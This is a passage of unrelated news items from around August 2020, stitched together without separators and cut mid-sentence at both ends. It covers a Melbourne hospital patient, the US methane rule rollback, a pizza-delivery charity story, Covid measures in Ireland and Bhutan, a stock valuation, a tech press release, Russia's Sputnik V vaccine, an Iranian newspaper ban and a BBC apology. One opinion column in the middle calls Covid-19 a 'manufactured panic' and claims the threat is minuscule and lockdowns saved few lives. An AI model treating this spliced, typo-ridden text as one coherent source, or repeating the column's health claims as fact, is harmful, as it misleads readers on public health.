and is currently conscious and alert, his condition continues to deteriorate and re-stabolise erratically The family remain hopeful that he will pull through, but are acutely aware that the situation could take a dire turn. He is pictured in hospital in a Facebook post shared by his supporters in January What is chronic granulomatous disease? CGD is an inherited disorder that occurs when a type of white blood cell that usually helps your body fight infections doesn't work properly. As a result, the phagocytes can't protect the body from bacterial and fungal infections. People with the disease may develop infections in their lungs, skin, lymph nodes, liver, stomach and intestines. Symptoms usually first appear in childhood, although some do not show symptoms until later in life. Advertisement The family have also penned a Change.org petition to the Victorian government and pleaded with them to change the rules. 'We do not want any parent to go through what we are going through,' the petition reads. 'Help us see our son alive and help other families to not go through what we are going through.' Ms Cassar told Daily Mail Australia that she understands the need for strict rules around visitor. Pictured, left to right: Ben Stylo, his brothers Noah and Adam, and mother Rose) Mr Stylo's father Donald Borg told 9 News that his son (pictured) is isolated and losing hope. Ben Stylo's family have tried scheduling video calls but his condition changes so quickly that the opportunities are always postponed Ms Cassar told Daily Mail Australia that she understands the need for strict rules around visitors A spokesperson for Alfred Health said visiting restrictions are in place to protect patients and staff from coronavirus. 'As visitors are only permitted under special circumstances, our staff are working hard to maintain the connection between patients and loved ones,' they said. Melbourne has been forced into strict lockdown after record-high numbers of coronavirus continue to plague the city. Residents are only allowed outside for essential purposes, including to buy food and care for sick relatives. By Jerri-Lynn Scofield, who has worked as a securities lawyer and a derivatives trader. She is currently writing a book about textile artisans. The Trump administration is poised to roll back rules on release of methane, a potent greenhouse gas estimated to be 25 more potent than carbon dioxide and which accounts for about 10% of U.S. greenhouse gas emissions. The weaker Trump rule, expected no later than Friday, would replace a tougher standard set by his predecessors EPA, according to the New York Times. The new rules would eliminate requirements that oil and gas producers have systems and procedures to detect methane leaks in their systems, according to the WSJ: The rule changes will apply to wells drilled since 2016 and going forward, and remove the largest pipelines, storage sites and other parts of the transmission system from EPA oversight of smog and greenhouse-gas emissions. The changes also ease reporting requirements for the industry and, for some facilities, how often a plant must check for leaks of other pollutants, the officials said. The new rules, expected to be signed and issued this week, adopt most of the core elements of two proposals from 2018 and 2019. Agency officials are fulfilling a directive by President Trump to ease regulations on U.S. energy producers, and have said the rules being eliminated are duplicative of other federal and state rules. They were adopted in 2016 under former President Obama amid concerns about methane-gas leaks contributing to climate change. Most of US emissions arise from the oil and gas industry, a situation that predates the shale oil boom (and now, subsequent bust). The 2016 rule was in part a response to the surge in natural gas production, according to the WSJ: As the drilling boom sent natural-gas production surging, the EPA responded in 2016 with requirements for companies to make plans for reducing emissions at new wells and the pipelines they feed. That included regular checks to close leaky valves, pipelines and tanks in the sprawling network covering millions of miles that supplies home furnaces, power plants, industrial sites and other consumers. The Trump administration never seems to have met a fossil fuel regulation it didnt try to circumvent, eliminate, or weaken. And Trump seeks to roll back every element that he can of his predecessors climate change policy weak and over-rated as it may be and of course, in many instances goaded, aided, and abetted by at least some of the producers in the fossil fuel industry. Status Under the Congressional Review Act (CRA) First up, a short aside on abbreviations: the earlier and still-valid use of CRA is as an abbreviation for the Community Reinvestment Act (1977 ), but the same three letters also stand for the Congressional Review Act (1996). I will use CRA in this post only to refer to the 1996 statute, the Congressional Review Act. The question then arises: what would be its status under the CRA? Readers might recall that the Trump administration used this statute aggressively and effectively during the initial days of his administration this statute multiple times to roll back midnight rules enacted by his predecessor that had not met the deadline for being invulnerable to CRA review. The statue allows for a simple majority vote, in both houses of Congress, not subject to normal Senate procedures such as the filibuster, and a Presidential signature, to overturn any rule passed within 60 session days of the seating of a new Congress (see Trump and Congress Use Congressional Review Act to Roll Back 14 Midnight Rules; More to Follow?). The CRA was invoked in many areas, as I wrote at the time. most significantly, to overturn the Consumer Financial Protection Bureaus (CFPB) mandatory arbitration ban, and rules on abortion, environmental protection, government procurement, gun control, and land use. CRA is a one-way deregulatory ratchet, and rules overturned under its auspices may not be easily revisited by the incoming administration. Many legal issues related to the CRA scope of the are unresolved, however. Although the statute dates to 1996, and was part of Newt Gingrichs Contract with America, it had only been used once before Trump, by the George W. Bush administration to rescind a workplace ergonomics rule promulgated during the Clinton administration. The Congressional Research Service determines what date the CRA deadline kicks in. It can move to later in the year Congress add is more days to its legislative session. What is now certain is that the 60-session days deadline has already passed, regardless of what day the actual deadline attached. Now, just as with its overhaul a few weeks ago of the Nixon-era National Environmental Policy Act, applying to highway, pipeline, and power plant construction, among other issues, rescinded a requirement that policymakers consider climate change when making a decision, this latest Trump methane action is not insulated from CRA review. Confusion arises, however, as to whether an incoming non-Trump administration, even if supported by Congressional majorities, would choose to use the CRA -as it might limit further freedom of action to institute rules in the same policy area. Given that the Trump administration was the first to use the statute aggressively, the limitts of its preclusive effect are not yet defined by judicial decisions. Big Producers Favour the Tighter Rule? This change would occur despite the backing by the largest oil and gas industry for the tighter Obama-era methane rule. Small and medium producers argue that production is uneconomic, with the rule in place, but larger producers actually supported retaining the tougher rule, according to the WSJ: Rescinding these requirements was a priority for small-and midsized oil-and-gas producers, which say the requirements were so costly to meet that it would be unprofitable to drill in some places. But larger producers, including international giants Exxon MobilCorp., Royal Dutch Shell PLC and BP PLC, favored retaining the rules, saying a lack of climate regulation undermines their promise that the U.S. natural gas they sell is a cleaner source of energy. The NYT makes a similar point: Oil and gas companies have had mixed responses to the rollback. Some major companies have spoken out against the weakening of methane regulations joining some automakers, electric utilitiesand other industrial giants that have opposed other administration initiatives to dismantle climate change and environmental rules. But smaller, independent oil companies are expected to applaud the rule as a welcome measure of relief when many are struggling to stay afloat. Yet the Times goes further and suggests that the largest oil and gas producers would opt to strengthen rather than weaken the methane rule: Several of the biggest oil and gas companies have called on the Trump administration to tighten restrictions on methane, not loosen them. Larger energy companies have invested millions of dollars to promote natural gas as a cleaner option than coal in the nations power plants, because natural gas produces about half as much carbon dioxide when burned. They fear that unrestricted leaks of methane could undermine that marketing message and hurt demand. In a 2019 public comment on a draft of the rule, Joe Ellis, a vice president at BP, urged the E.P.A. to continue to regulate methane emissions from new sources and to adopt a rule for existing sources. E.P.A. regulation of methane across the value chain is the right thing to do for the environment, will support consistent regulation across the U.S. and can be cost-effectively achieved with new technology. Exxon urged the E.P.A. in 2018 to maintain core elements of the Obama administrations policy. Gretchen Watkins, the United States chairwoman for Shell, which has urged the Trump administration to regulate methane emissions, said, The negative impacts of methane have been widely acknowledged for years, so its frustrating and disappointing to see the administration go in a different direction. This situation reminds me of the Trump machinations over fuel economy standards, where the new administration weakened the standards, and then initially pursued some auto manufacturers on antitrust grounds for voluntarily negotiating with California to back the higher standard. California enjoys a special role under the Clean Air Act for setting emissions standards, and auto manufacturers have accepted Californias role in de facto setting the floor for national emissions standards, as they dont want to produce two product lines: a tougher one that meets California standards, and another for at least some of the rest of the country. Moreover, as many of these producers had long ago started to take steps to comply with the tighter standards, they did not want to see Trump subsequently weaken them, as now that they had made substantial nvestments to comply, they wanted the tougher standards to stand as a potential barrier to entry to other automakers (see Trump Drops Antitrust Probe of Four Automakers Which Adopted Tougher Cal Tailpipe Emissions Standards). I should also mention its not just some of the largest oil and gas companies, but some of the environmental groups they have converted also emphasize the industry benefits that would follow a tougher methane standard; again, according to the NYT:: The Environmental Defense Fund, a nonprofit that has often collaborated with major oil companies on reducing methane emissions, warned that the rule changes would create a risk for U.S. gas sales into Europe, which is moving to tighten laws on greenhouse-gas emissions. The Trump EPAs methane rollbacks arent just bad climate policy, theyre a competitive disadvantage for American gas in a world demanding cleaner energy, said Ben Ratner, a senior director at the fund who works with companies on methane reduction. For EPA to wipe out methane regulation makes a risky situation even worse for U.S. companies counting on exports. The Bottom Line The methane rule is only the latest gift the Trump administration is attempting to bestow on some oil and gas producers. It joins a long litany of environmental deregulation, which continues apace despite the COVID-19 pandemic. Just some recent examples, according to the NYT: In April, the E.P.A. weakened rules on the release of toxic chemicals from coal-fired power plants, loosened curbs on climate-warming tailpipe pollution and opted not to strengthen a regulation on industrial soot emissions that have been linked to respiratory diseases, including Covid-19. The methane rule would likely be the subject of a successful CRA challenge, if Democrats can sweep both the White House and both houses of Congress in November. Yet exactly how successful CRA action might constrain their own subsequent climate change policymaking, particularly with respect to methane, might raise some novel legal issues, however, as the legal limits of the CRAs preclusive effect have yet to be plumbed. CENTREVILLE, VA The Harrity family had faced a similarly scary situation four years earlier when John Harrity was rushed to the hospital with what turned out to be a major heart attack. In late April, Harrity's 17-year-old daughter Jorden Harrity suddenly fainted in the early morning hours, bringing back memories of 2016. Her parents called 911, and she was rushed to the emergency room. The doctors at the hospital ran a bunch of tests but could not find any major issues with Jorden. While everything worked out for the teen who will be a senior at Centreville High School, she started thinking about the firefighters and EMTs like the ones with the Fairfax County Fire & Rescue Department who helped her. Jorden wondered why they were not necessarily receiving as much attention as the hardworking medical teams at hospitals who are also risking their lives helping COVID-19 patients. She told Patch that she believed first responders also deserved recognition for the risky work they do on a daily basis. As a way to show her gratitude for taking her to the hospital and remembering how EMTs rushed her father to the hospital four years earlier Jorden came up with the idea to deliver pizzas to the fire station where the firefighters and EMTs worked. Harrity delivered her first pizzas last Friday to the Fairfax County Fire & Rescue Department in Centreville to thank them for helping her back in April. Capt. Kenneth Dobbs at the Fairfax County Fire & Rescue Department said he appreciated Jorden delivering the pizzas in person. EMTs often do not know what happens to the people who they help. The fact that she was able to walk in here, say thank you to us and bring us pizza," he told WDVM. "It just means a lot to us and our crews. Jorden Harrity, a rising senior at Centreville High School, meets with Fairfax Fire & Rescue Department personnel to express her appreciation. (Courtesy of John Harrity) Jorden also approached her dad, managing partner of Harrity & Harrity law firm in Fairfax City, with an idea to not only thank the men and women at the Centreville fire station but to honor the nearby fire stations for each of the 56 employees of his law firm, who not only live in Virginia, but in more than two dozen other states. Story continues Jorden started doing research to determine which local fire station was the one that would respond to each Harrity & Harrity employees home across the country in case of emergency. After delivering pizzas to the Centreville fire station on Friday, Jorden is now scheduling deliveries to fire stations in states across the country. After his near-death experience in 2016 at the age of 49 from a "widow-maker" heart attack, Jorden's father, John Harrity, ramped up his charitable efforts. His Fairfax City law firm, Harrity & Harrity, was already known for its giving, whether it was through its participation in the annual Lawyers Have Heart race in Georgetown that raises money for the American Heart Association or local charities. Since his near-death experience, John Harrity and his brother and law firm co-founder Paul Harrity created the Harrity 4 Charity that gives five percent of the law firm's profits to charities. Law firm employees also donate a portion of their paychecks to charity. In addition to the charities, Harrity also created an emergency COVID-19 fund. Jorden, who is a member of service clubs at Centreville High School, said her father's efforts since his heart attack have inspired her to help others. She told Patch about her new appreciation for the value of community service and plans to continue working to help others during her senior year and when she heads off to college in the fall of 2021. This article originally appeared on the Fairfax City Patch Shoppers in Belfast city centre on the first day face masks are mandatory in shops. Picture by Jonathan Porter/PressEye The Health Minister has urged people across Northern Ireland to remain on high alert against Covid-19 after the first death here in almost a month. His Department's Covid-19 data dashboard also reported 76 new cases since Friday, with the number of people testing positive over the past seven days standing at 165. Mr Swann said: "I want to express my deepest condolences to the family and friends of the person who has tragically passed away. Read More "This is very distressing news and it underlines once again the threat posed by Covid-19. I urge everyone across Northern Ireland to do everything they can to keep themselves and others safe. We all have to remain on high alert. There are practical and vital steps we can each take - including maintaining social distancing, washing our hands and wearing a face covering in enclosed spaces like shops. Expand Close Robin Swann Photo by Kelvin Boyes / Press Ey / Facebook Twitter Email Whatsapp Robin Swann "The Chief Scientific Adviser and Chief Medical Officer have warned against complacency - and I would call on everyone to heed that warning. We have a duty to protect those in our community who are most vulnerable to this virus." In the Irish Republic, meanwhile, no new Covid-19 related deaths were reported yesterday. Ireland's National Public Health Emergency Team said the health system had been notified of 57 more confirmed cases. Separately, a Co Offaly meat factory that has been hit by a Covid-19 outbreak was urged to close amid tightened coronavirus restrictions in the Irish Midlands. Three plants impacted by the virus in the three-county area covered by the localised infection control steps have halted operations. The spike in cases that prompted the restrictions in Offaly, Kildare and Laois have been linked to outbreaks in meat processing factories. Carroll Cuisine in Tullamore was open yesterday morning. Nine staff members had previously tested positive for Covid-19. The company said 200-plus employees were tested for the virus on Sunday and the situation had not escalated. It said a deep clean was also being carried out. Irish Minister of State Sean Fleming urged the company to close voluntarily as he warned the state could intervene to order closure. "I'm asking them to close it down voluntarily and not to have the state to do it over their heads," said Mr Fleming, who is also a TD for Laois and Offaly. He told RTE Radio One: "We work in Ireland on the basis of cooperation. Three of the others have voluntarily decided to stay closed. And we're asking the fourth one to do the same as well." Earlier, Tanaiste Leo Varadkar highlighted that Ireland's Health Service Executive (HSE) had the power to order the closure of businesses. He said infection control officials were engaging with management at the plant to assess the situation. "Three of the four meat plants have closed, one hasn't," he told RTE. "There is an outbreak team involved with that meat plant and the power does exist under public health legislation for the HSE to order a business to close. "I trust that public health officials who are involved in this are engaging with the plant, that they will make the right decision and, if it is necessary to impose a closure order, they can do that. "But it's the public health team on the ground, I think have to be allowed to make that decision with the company and I think we need to trust them." The three other plants that have experienced outbreaks - Kildare Chilling, O'Brien Fine Foods and Irish Dog Foods - have suspended operations. The localised restrictions in Kildare, Laois and Offaly were announced on Friday and are in place for at least two weeks. Residents are only allowed to travel outside their counties in limited circumstances while restaurants and pubs serving food have been closed. In this article we are going to estimate the intrinsic value of HRL Holdings Limited (ASX:HRL) by taking the expected future cash flows and discounting them to today's value. The Discounted Cash Flow (DCF) model is the tool we will apply to do this. There's really not all that much to it, even though it might appear quite complex. Remember though, that there are many ways to estimate a company's value, and a DCF is just one method. If you want to learn more about discounted cash flow, the rationale behind this calculation can be read in detail in the Simply Wall St analysis model. View our latest analysis for HRL Holdings The model We are going to use a two-stage DCF model, which, as the name states, takes into account two stages of growth. The first stage is generally a higher growth period which levels off heading towards the terminal value, captured in the second 'steady growth' period. To begin with, we have to get estimates of the next ten years of cash flows. Where possible we use analyst estimates, but when these aren't available we extrapolate the previous free cash flow (FCF) from the last estimate or reported value. We assume companies with shrinking free cash flow will slow their rate of shrinkage, and that companies with growing free cash flow will see their growth rate slow, over this period. We do this to reflect that growth tends to slow more in the early years than it does in later years. Generally we assume that a dollar today is more valuable than a dollar in the future, so we need to discount the sum of these future cash flows to arrive at a present value estimate: 10-year free cash flow (FCF) forecast 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 Levered FCF (A$, Millions) AU$2.40m AU$4.05m AU$4.90m AU$5.16m AU$5.39m AU$5.60m AU$5.78m AU$5.96m AU$6.12m AU$6.28m Growth Rate Estimate Source Analyst x2 Analyst x2 Analyst x1 Est @ 5.37% Est @ 4.44% Est @ 3.79% Est @ 3.33% Est @ 3.01% Est @ 2.78% Est @ 2.63% Present Value (A$, Millions) Discounted @ 7.8% AU$2.2 AU$3.5 AU$3.9 AU$3.8 AU$3.7 AU$3.6 AU$3.4 AU$3.3 AU$3.1 AU$3.0 ("Est" = FCF growth rate estimated by Simply Wall St) Present Value of 10-year Cash Flow (PVCF) = AU$33m Story continues We now need to calculate the Terminal Value, which accounts for all the future cash flows after this ten year period. For a number of reasons a very conservative growth rate is used that cannot exceed that of a country's GDP growth. In this case we have used the 5-year average of the 10-year government bond yield (2.3%) to estimate future growth. In the same way as with the 10-year 'growth' period, we discount future cash flows to today's value, using a cost of equity of 7.8%. Terminal Value (TV)= FCF 2030 (1 + g) (r g) = AU$6.3m (1 + 2.3%) (7.8% 2.3%) = AU$115m Present Value of Terminal Value (PVTV)= TV / (1 + r)10= AU$115m ( 1 + 7.8%)10= AU$54m The total value, or equity value, is then the sum of the present value of the future cash flows, which in this case is AU$87m. The last step is to then divide the equity value by the number of shares outstanding. Relative to the current share price of AU$0.1, the company appears quite undervalued at a 36% discount to where the stock price trades currently. Valuations are imprecise instruments though, rather like a telescope - move a few degrees and end up in a different galaxy. Do keep this in mind. dcf Important assumptions The calculation above is very dependent on two assumptions. The first is the discount rate and the other is the cash flows. If you don't agree with these result, have a go at the calculation yourself and play with the assumptions. The DCF also does not consider the possible cyclicality of an industry, or a company's future capital requirements, so it does not give a full picture of a company's potential performance. Given that we are looking at HRL Holdings as potential shareholders, the cost of equity is used as the discount rate, rather than the cost of capital (or weighted average cost of capital, WACC) which accounts for debt. In this calculation we've used 7.8%, which is based on a levered beta of 0.929. Beta is a measure of a stock's volatility, compared to the market as a whole. We get our beta from the industry average beta of globally comparable companies, with an imposed limit between 0.8 and 2.0, which is a reasonable range for a stable business. Moving On: Valuation is only one side of the coin in terms of building your investment thesis, and it ideally won't be the sole piece of analysis you scrutinize for a company. The DCF model is not a perfect stock valuation tool. Rather it should be seen as a guide to "what assumptions need to be true for this stock to be under/overvalued?" If a company grows at a different rate, or if its cost of equity or risk free rate changes sharply, the output can look very different. Why is the intrinsic value higher than the current share price? For HRL Holdings, we've compiled three relevant aspects you should assess: Risks: As an example, we've found 2 warning signs for HRL Holdings that you need to consider before investing here. Future Earnings: How does HRL's growth rate compare to its peers and the wider market? Dig deeper into the analyst consensus number for the upcoming years by interacting with our free analyst growth expectation chart. Other High Quality Alternatives: Do you like a good all-rounder? Explore our interactive list of high quality stocks to get an idea of what else is out there you may be missing! PS. Simply Wall St updates its DCF calculation for every Australian stock every day, so if you want to find the intrinsic value of any other stock just search here. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. SAN MATEO, Calif. and MUMBAI, India, Aug. 11, 2020 /PRNewswire/ -- Hexaware Technologies Limited, a leading global IT consulting & digital solutions provider, and Freshworks Inc. , a customer engagement software company, have announced a global strategic partnership where Hexaware will make use of Freshworks' customer and employee engagement software to build digital solutions for its customers. Hexaware has been on the forefront of digital transformation and cloud revolution and Freshworks with its software has been making it easy for teams to acquire, close, and keep their customers for life. The partnership will help businesses elevate customer and employee experiences by building solutions that provide quicker response and resolution to internal and external requests. More than ever, businesses require digital solutions to better engage with their customers. Hexaware's time-tested delivery and execution model combined with Freshworks' easy to implement products, provide joint customers with powerful customer engagement solutions that provide quick return on investment and value critical for continued success now and into the future. "A recent Forrester study showed that Freshworks' Freshdesk Omnichannel customers, on an average, pay off their investment in less than 3 months," said Anand Venkatraman, VP of Global Partnerships, Freshworks. "Hexaware's expertise in the cloud space and prowess in implementing automations will increase value for our joint customers who are looking to leverage our AI-engine Freddy's AI/ML capabilities to deliver faster responses." Together, Hexaware and Freshworks are offering an exclusive launch package for digitally native businesses. The demand for such solutions is increasing, according to new data from Sensor Tower, the global app market is increasing 20-30% in the first half of 2020 valued at $50 billion. With COVID-19, companies are looking for new digital ways to serve their customers. As such, businesses are looking to leverage new technologies that can help scale customer engagement efforts quickly and efficiently. The Forrester Total Economic Impact Study shows that Freshworks software can provide huge gains with significant reduction in total operating cost and improved response and resolution times. "Hexaware has embarked on a 'Touchless, Immersive Customer Experience' journey, inspired by the current environment. Our partnership with Freshworks complements this strategic vision and supports a quicker revenue realization by our clients and their end users," said Pranav Rai, VP of Solutions & Practice, Hexaware BPS. About Hexaware: http://www.hexaware.com . About Freshworks: www.freshworks.com . Safe Harbor Statement: http://hexaware.com/investors/ Contact: Sreedatri Chatterjee [email protected] SOURCE Hexaware Technologies Ltd. Thimphu, Aug 11 : The Bhutan government has imposed a nationwide lockdown starting from Tuesday after a locally transmitted COVID-19 case was reported. In an address to the nation on Tuesday morning, Prime Minister Lotay Tshering said the positive case was reported in Gelephu town and the female patient had come in close contact with many people in Paro, Thimphu and several other places, reports Xinhua news agency. He said after medication and isolation, the patient was declared recovered. But she tested positive again on Monday after being at home for 15 days. During this time, she travelled to different places and visited relatives. From Monday evening to Tuesday morning, health authorities managed to trace 71 contacts who came in close contact with the patient. Lotay said the government is enforcing restrictions on movement of people and vehicles. All schools, institutions, offices and commercial establishments will remain closed, he added. Lotay said that the lockdown has been enforced to identify and isolate all positive cases to immediately break the chain of transmission. The Prime Minister also urged people not to panic and that food supplies will be available at doorsteps. Lotay said the lockdown is expected to last between five days to a maximum of three weeks. As of Tuesday, Bhutan has a total of 113 positive cases. Americans Need to Face Down a Politicized Panic Commentary In retrospect, we can date the moment America began to slip her moorings as a federal republic dedicated to individual and national sovereignty and descend into arbitrary, politically correct coercionfor our own good. The attacks of Sept. 11, 2001, perpetrated by a handful of Arab Muslims, most of them from Saudi Arabia, changed and continue to change the United States in ways no one could have expected at the time. Although time has partially healed the memories, wounds, and destruction of that day, the damage the religiously inspired mayhem has wrought upon our nation and its values has been incalculable, and bids fair to get worse. From the ashes left of the fiery inferno have come the Transportation Security Administration (TSA) and the Department of Homeland Security, among other newfangled exemplars of big government, which fundamentally altered the relationship of the individual to the state, and have played havoc with our national self-image ever since. In a stroke, some 330 million Americans were regarded by the TSA (an employer of last resort) as guilty of attempted hijacking until proven innocent by increasingly intrusive searches in plain violation of the Fourth Amendment, which reads, in part: The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated but upon probable cause. Given the rapidity with which an ovine public meekly accepted this enormity in the name of safety, it was simply a matter of time before further restrictions on personal freedom would be implemented. Manufactured Panic Which brings us to the increasingly irrationaland socially devastatingmedia-manufactured panic over the CCP virus. Whether the Chinese Communist Party virus was hatched in a lab, escaped from a boiling pangolin, or was simply a natural mutation of the SARS family at this point hardly matters. To hear the slavishly supine media tell it, the dreaded COVID-19 can fly through the air and into your eyes, ears, nose, throat, and other bodily cavities. It can live forever in deserts and salt marshes alike and survive handily on steel surfaces. Whats worse, its racially discriminatory, killing blacks at a higher rate than whites. Every living person, including little children, you encounter is potentially an agent of death and needs to be shunned, screamed at and, when necessary, physically assaultedfor your own safety, of course. The very air we breathe is a toxic miasma of furry, inflated red jacks that just cant wait to attack a hapless human. In short, its the second coming of the Black Death, and that means infection equals death. Except that it isnt. As Angelo Codevilla wrote recently at The American Mind: What history will record as the great COVID scam of 2020 is based on 1) a set of untruths and baseless assertionsoften outright liesabout the novel coronavirus and its effects; 2) the production and maintenance of physical fear through a near-monopoly of communications to forestall challenges to the U.S. ruling class; 3) defaulted opposition on the part of most Republicans. Panicked the American people assented to being put essentially under house arrest until further notice, effectively suspending the habits, preferences, and liberties that had defined our way of life. As Codevilla and many others have made clear, the coronavirus threat is, in the historical scheme of things, minuscule. Those whove died have been overwhelmingly elderlyin the mid-80sgenerally obese, and suffering from hypertension or other comorbidities that made them easy prey for the opportunistic virus. A high percentage of them, especially in the northeast United States, were also residents of nursing homes, whence they were deliberately confined by such angels of mercy as New Yorks governor, Andrew Cuomo. The young, vital, and healthy have little or nothing to fear from the Wuhan flu. Power Grab What makes this bug unusual, however, is the deracinated and draconian overreactiona power grab by governments at all levels, both here and abroad. What began back in March as two weeks to flatten the curve has since morphed into a zero-tolerance ukase thatin the manner of totalitarian power grabs everywhereinsists that the unreasonably perfect be the mortal enemy of the good. In other words, the answer to the question every freedom-loving man or woman has been asking since this panic over a pandemic beganwhen will this end?the answer is likely: never, unless we do something about it. Governments have developed a taste for arbitrary tyranny now, and thats not something theyre inclined to surrender without a fight. As Ben Franklin famously observed in 1755: Those who would give up essential Liberty, to purchase a little temporary Safety, deserve neither Liberty nor Safety. Nitpickers will note that Franklins letter involved a localized dispute about the Pennsylvania assemblys taxing power and notoddly enough!about our present discussion of the proper balance between personal liberty and governmental authority. Nevertheless, his words are even more important today than when Franklin was worrying about the defense of Pennsylvanias western frontier, which is why, in modified form, they appear on a plaque in the stairwell of the pedestal of the Statue of Liberty. Its been pointed out for months now that by shutting down the worlds economies, COVID mania has saved relatively few livesthe examples of places as disparate as South Dakota and Sweden, where there were no lockdowns, testify to thatand instead has blithely condemned millions to joblessness, poverty, other illnesses, isolation, depression, suicide, and premature deaths. Even worse, it has rent the social fabric, perhaps irrevocably, with its malignant prattle about the new normal of anti-social distancing, beekeeper face shields, and bank-robber masks. Walking around with our faces obscured used to beand in most places still isillegal, but that doesnt seem to matter to the likes of Cuomo and California Gov. Gavin Newsom. With nothing visible but each others eyes, we can no longer see or judge facial expressions and therefore cant immediately distinguish between friend or foeas the soaring crime statistics in New York City and Chicago amply illustrate. Absent nonverbal means of communication, its no wonder that social trustdifficult enough in an ethnically heterogeneous country like Americais breaking down. The result of that, as any diverse country can tell you, is the reinforcement of tribalism and the primacy of clan. This has nothing to do with racejust look at places like Iraq, Afghanistan, or Europe in the 20th centuryand everything to do with family ties and the loss of faith in supposedly dispassionate institutions. Just ask the thug cadres of Black Lives Matter and Antifa whether social distancing applies to them. Targeting Rights America has long believed in the principle of equal justice under the law. That she has not always observed that belief in actual practice is beside the point (although its the putative cause of the leftist riots currently wracking some of our major cities over events that occurred a century and a half ago). But when the average Americanyou know, the one who believes in God, apple pie, and the flagstarts to feel the systems been rigged, we are no longer the U.S.A. but the U.S.S.R, where the political nomenklatura and its favored apparatchiks indulge in arbitrary rule-making and discriminatory favoritism, entirely for their own benefit. Like the virus itself, the politicization of COVID-19 has proven to be an opportunistic malefactor, except that in this case, its target is the Constitution and especially the Bill of Rights. One by one, our first listed freedoms have come under attack, including freedom of speech (cancel culture), the free exercise of religion, freedom of assembly, and the right to be secure in our persons, among others. Whats next? Like the flu, we will never be entirely rid of the Chinese Communist virusalthough a day of reckoning is coming for the thugs in Beijing. But we can be rid of our politicians and their transparently inimical excuses for continuing to move the goalposts ever farther into the future in the name of safety. That a nation and a civilization once renowned for its courage under fire, its valor, and its stone bravery should now cower like frightened children in the face of an invisible monster is a national disgrace. That the patriots among us should willingly submit to a constitutional death of a thousand cuts administered by petty bureaucrats and power-mad doctors from a corrupt and untrustworthy federal agency is even worse. That the provocation comes from China adds insult to injury. And that its being wielded like a political cudgel against the current administration in order to negate the presidents record of regulatory reform, border control, a more equitable job market for minorities, and a booming economy that was the envy of the world until this spring is something voters shouldnt forget this November. The time for cowering is past. Get it, get over it, get on with it. Your country needs you. Michael Walsh is the editor of The-Pipeline.org and the author of The Devils Pleasure Palace and The Fiery Angel, both published by Encounter Books. His latest book, Last Stands, a cultural study of military history from the Greeks to the Korean War, will be published in December by St. Martins Press. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Russian President Vladimir Putin chairs a meeting via teleconference call at the Novo-Ogaryovo state residence outside Moscow on August 11, 2020. ALEXEY NIKOLSKY/SPUTNIK/AFP via Getty Images Russian President Vladimir Putin announced Tuesday that Russia has approved a coronavirus vaccine for mass production. The drug named Sputnik V in reference to Russia's Cold War satellite will be made available for frontline health workers from late August or September, Russian media reported. But the drug has raised concerns because it has not undergone phase-3 trials, which are considered essential to guarantee the safety of a vaccine. Many experts fear the Russia may be sacrificing safety to score geopolitical points. Dr. Anthony Fauci, the top US infectious-diseases expert, is among those who have expressed concern in recent days. Visit Business Insider's homepage for more stories. Russian President Vladimir Putin on Tuesday claimed victory in the global race to find a coronavirus vaccine, and said his own daughter had been inoculated with the drug. Russian authorities have approved, and are to begin mass-producing the substance named Sputnik V after the iconic Russian satellite developed by the Gamaleya Institute in Moscow, Russian state news agency TASS reported. It will be made available first Russia's frontline public-service workers, such as medics and teachers, before being released to the general public, said Russian Health Minister Mikhail Murashko. Medics could have access to it as early as late August or early September, according to the agency. Video: What we know about immunity for the coronavirus Putin said on Tuesday: "I know that it works quite effectively, forms strong immunity, and, I repeat, it has passed all the needed checks," as quoted by Reuters. Many experts have expressed reservations about the Gamaleya vaccine in recent days, however. It has not yet undergone phase-3 trials, which are considered essential to guarantee the safety of a vaccine. Dr. Anthony Fauci at the White House coronavirus task force briefing on March 25, 2020. Jonathan Ernst/Reuters Dr. Anthony Fauci, the top infectious-diseases expert in the US, is among those who have shared concerns about the fast-track process taken by countries, including Russia and China, in the race to produce a treatment. Story continues In testimony to a congressional committee on July 31, Fauci said, according to CNN: "I do hope that the Chinese and the Russians are actually testing the vaccine before they are administering the vaccine to anyone. Because claims of having a vaccine ready to distribute before you do testing is, I think, problematic at best." In the testimony Fauci added that he remained optimistic that the US would be able to produce its own vaccine by the end of the year, while not cutting corners with safety standards. "We are going very quickly. I do not believe that there will be vaccines so far ahead of us that we will have to depend on other countries to get us vaccines. I believe the program that is being sponsored by us right now, and being directed and implemented by us, is going at a very rapid speed prudent, but rapid," Fauci said. The coronavirus crisis has prompted a race by nations to be the first to develop a vaccine, with geopolitical influence and prestige at stake as well as many thousands of lives. Russia has recently been accused by the US, Canada, and the UK of attempting to hack their top coronavirus research centers. Russia's announcement is being treated with caution, as the institute that developed the treatment has only released limited information on the drug. "We are in close contact with Russian health authorities and discussions are ongoing with respect to possible WHO prequalification of the vaccine, but again prequalification of any vaccine includes the rigorous review and assessment of all required safety and efficacy data," WHO spokesman Tarik Jasarevic told a UN briefing in Geneva Tuesday, according to Reuters. Read the original article on Business Insider Irans Press Supervisory Board* acted after the paper which has covered mainly economic issues for 17 years - reported comments by a well-known health professional that the number of deaths was up to 20 times the official figure. Management at the paper were informed of the ban in a telephone call. In a statement the TAoJ said the action was unlawful. We believe that this action took place at a time when the journalistic profession is in its most unstable days, and now we must witness the escalation of this crisis, with the unemployment of a number of our colleagues in this newspaper". IFJ General Secretary Anthony Bellanger said: At a time of a global health crisis it is vital citizens have access to independent information on which they can act and base decisions. Jahan Sanaat reported valid comments by a well-known health expert. Such a ban is an outrageous response and should be lifted immediately. *The Press Supervisory Board is a governmental body which decides who can own or run print media and issues licences for it and at times withdraws the right to print, banning the media from working. (CNN) The BBC has apologized for airing an uncensored racial slur in a news segment, after initially defending the use of the word in a report broadcast last month. Social Affairs Correspondent Fiona Lamdin used the N-word in a segment on an apparently racially aggravated assault in the city of Bristol, sparking more than 18,600 complaints from viewers. Tony Hall, director general of the UK's public service broadcaster, apologized in an email to all BBC staff Sunday and said the segment "ended up creating distress amongst many people." "The BBC now accepts that we should have taken a different approach at the time of broadcast and we are very sorry for that," Hall wrote in the email, which the BBC shared with CNN. "We will now be strengthening our guidance on offensive language across our output." The 